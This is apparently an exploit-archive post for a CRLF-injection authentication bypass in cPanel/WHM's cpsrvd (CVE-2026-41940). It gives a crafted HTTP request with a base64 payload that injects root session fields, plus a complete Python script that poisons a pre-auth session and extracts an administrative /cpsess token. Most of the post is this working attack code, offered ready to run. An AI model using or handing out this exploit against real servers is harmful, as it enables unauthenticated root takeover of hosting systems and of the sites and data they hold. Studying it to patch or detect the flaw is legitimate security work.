📄 cPanel / WHM Authentication Bypass / CRLF Injection

# Titles: cPanel/WHM Authentication Bypass via CRLF Injection
    # Author: nu11secur1tyAI
    # Date: 2026-04-30
    # Vendor: cPanel, L.L.C.
    # Software: cPanel & WHM (cpsrvd)
    # Reference: CVE-2026-41940 / watchTowr-2026-01
    
    ## Description:
    A critical authentication bypass vulnerability exists in the cPanel/WHM
    `cpsrvd` daemon due to improper neutralization of line delimiters (CRLF) in
    the `whostmgrsession` cookie and `Authorization` headers. An
    unauthenticated remote attacker can leverage this flaw to inject malicious
    session parameters directly into the server's flat-file session metadata
    store. By injecting sequences such as `user=root`, `hasroot=1`, and
    `tfa_verified=1`, the attacker subverts the internal authentication logic,
    forcing the system to issue a valid administrative session token
    (`/cpsessXXXXXXXXXX/`). This grants the attacker full `root` privileges
    over the WHM interface and the host operating system without requiring
    valid credentials.
    
    STATUS: MEDIUM - HIGH / Vulnerability
    
    [+] Payload:
    ```http
    GET / HTTP/1.1
    Host: [TARGET_HOST]:2087
    Authorization: Basic
    cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
    Cookie: whostmgrsession=[PREAUTH_SESSION_ID]
    Connection: close
    ```
    
    [+] Exploit (Python):
    
    import argparse
    import re
    import requests
    import urllib.parse
    import urllib3
    
    # Disable SSL warnings for cleaner output
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    # Crafted B64 payload:
    #
    root:x\r\nsuccessful_internal_auth_with_timestamp=9999999999\r\nuser=root\r\ntfa_verified=1\r\nhasroot=1
    PAYLOAD_B64 =
    "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"
    
    def exploit(target):
        s = requests.Session()
        s.verify = False
    
        print(f"[*] Initializing attack on {target}...")
    
        # Stage 1: Obtain pre-auth session base
        try:
            r = s.post(f"{target}/login/?login_only=1", data={"user": "root",
    "pass": "wrong_pass"}, allow_redirects=False, timeout=10)
            cookie = r.headers.get("Set-Cookie", "")
            match = re.search(r"whostmgrsession=([^;,]+)", cookie)
            if not match:
                print("[-] Error: Could not retrieve whostmgrsession cookie.")
                return
            session_base = urllib.parse.unquote(match.group(1))
            print(f"[+] Obtained session base: {session_base}")
    
            # Stage 2: Poison session via CRLF Injection
            headers = {
                "Authorization": f"Basic {PAYLOAD_B64}",
                "Cookie": f"whostmgrsession={urllib.parse.quote(session_base)}",
                "Connection": "close"
            }
            r = s.get(f"{target}/", headers=headers, allow_redirects=False,
    timeout=10)
    
            # Stage 3: Extract leaked security token
            location = r.headers.get("Location", "")
            token_match = re.search(r"/cpsess\d{10}", location)
    
            if token_match:
                token = token_match.group(0)
                print(f"[!] EXPLOIT SUCCESSFUL!")
                print(f"[!] Leaked Token: {token}")
                print(f"[!] Access URL: {target}{token}/")
            else:
                print("[-] Exploit failed. The target may be patched or
    protected by a WAF.")
    
        except Exception as e:
            print(f"[-] Connection error: {e}")
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="cPanel/WHM CVE-2026-41940
    Exploit")
        parser.add_argument("--target", required=True, help="Target URL (e.g.,
    [https://192.168.1.1:2087](https://192.168.1.1:2087))")
        args = parser.parse_args()
        exploit(args.target.rstrip("/"))
    
    ```
    [+]Reproduce:
    https://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-41940
    
    Time spent:
    03:45:00
    
    --